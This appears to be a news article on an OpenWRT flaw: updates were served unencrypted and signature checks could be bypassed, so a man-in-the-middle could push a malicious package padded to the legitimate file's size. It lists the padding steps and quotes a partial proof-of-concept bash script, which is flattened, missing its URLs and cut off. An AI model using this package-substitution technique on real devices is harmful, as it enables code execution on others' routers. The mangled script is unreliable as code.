OpenWRT code-execution bug puts millions of devices at risk


For almost three years, OpenWRT—the open source operating system that powers home routers and other types of embedded systems—has been vulnerable to remote code-execution attacks because updates were delivered over an unencrypted channel and digital signature verifications are easy to bypass, a researcher said.

OpenWRT has a loyal base of users who use the freely available package as an alternative to the firmware that comes installed on their devices. Besides routers, OpenWRT runs on smartphones, pocket computers and even laptops and desktop PCs. Users generally find OpenWRT to be a more secure choice because it offers advanced functions and its source code is easy to audit.

Security researcher Guido Vranken, however, recently found that updates and installation files were delivered over unencrypted HTTPs connections, which are open to attacks that allow adversaries to completely replace legitimate updates with malicious ones. The researcher also found that it was trivial for attackers with moderate experience to bypass digital-signature checks that verify a downloaded update as the legitimate one offered by OpenWTR maintainers. The combination of those two lapses makes it possible to send a malicious update that vulnerable devices will automatically install.

Exploits not for everyone

These code-execution exploits are limited in their scope because adversaries must either be in a position to conduct a man-in-the-middle attack or tamper with the DNS server that a device uses to find the update on the Internet. That means routers on a network that has no malicious users and using a legitimate DNS server are safe from attack. Vranken also speculates that packet spoofing or ARP cache poisoning may also make attacks possible, but he cautions that he didnt test either method.

Despite the requirements, many networks connect people who are unknown or untrusted by the device operator. Whats more, attacks that replace router settings pointing to a legitimate DNS to a malicious one are a fact of life on the Internet, as in-the-wild attack here, here, here, and here (to name just a few) demonstrate.

The failure to use HTTPS encryption is one reason for the weakness. The encryption HTTPS provides makes it impossible for nearby attackers to tamper with data while its in transit. Authentication assurances built into HTTPS also make it infeasible for attackers to impersonate, the real OpenWRT server that delivers legitimate updates and installation files.

Exploiting these weaknesses, Vranken was able to create a server that impersonated and served a malicious update. As long as the malicious file is the same size at the legitimate file, it will be executed by a vulnerable device. In a post published last week, the researcher wrote:

Doing this is trivial:

  • Create a package that is smaller than the original
  • Compute the size difference between the original package and the compromised package
  • Append this amount of zero bytes to the end of the compromised package

Vranken supplied the following proof-concept code:

#!/bin/bash  # Download the package lists for mirroring wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x wget -x  mv . rm -rf  # Get the original package wget ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") tar zxf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk  # Extract the binaries mkdir data/ cd data/ tar zxvf ../data.tar.gz rm ../data.tar.gz  # Build the replacement binary. It is a very small program that prints a string. rm -f /tmp/pwned.asm /tmp/pwned.o echo "section  .text" >>/tmp/pwned.asm echo "global   _start" >>/tmp/pwned.asm echo "_start:" >>/tmp/pwned.asm echo " mov  edx,len" >>/tmp/pwned.asm echo " mov  ecx,msg" >>/tmp/pwned.asm echo " mov  ebx,1" >>/tmp/pwned.asm echo " mov  eax,4" >>/tmp/pwned.asm echo " int  0x80" >>/tmp/pwned.asm echo " mov  eax,1Read More - Source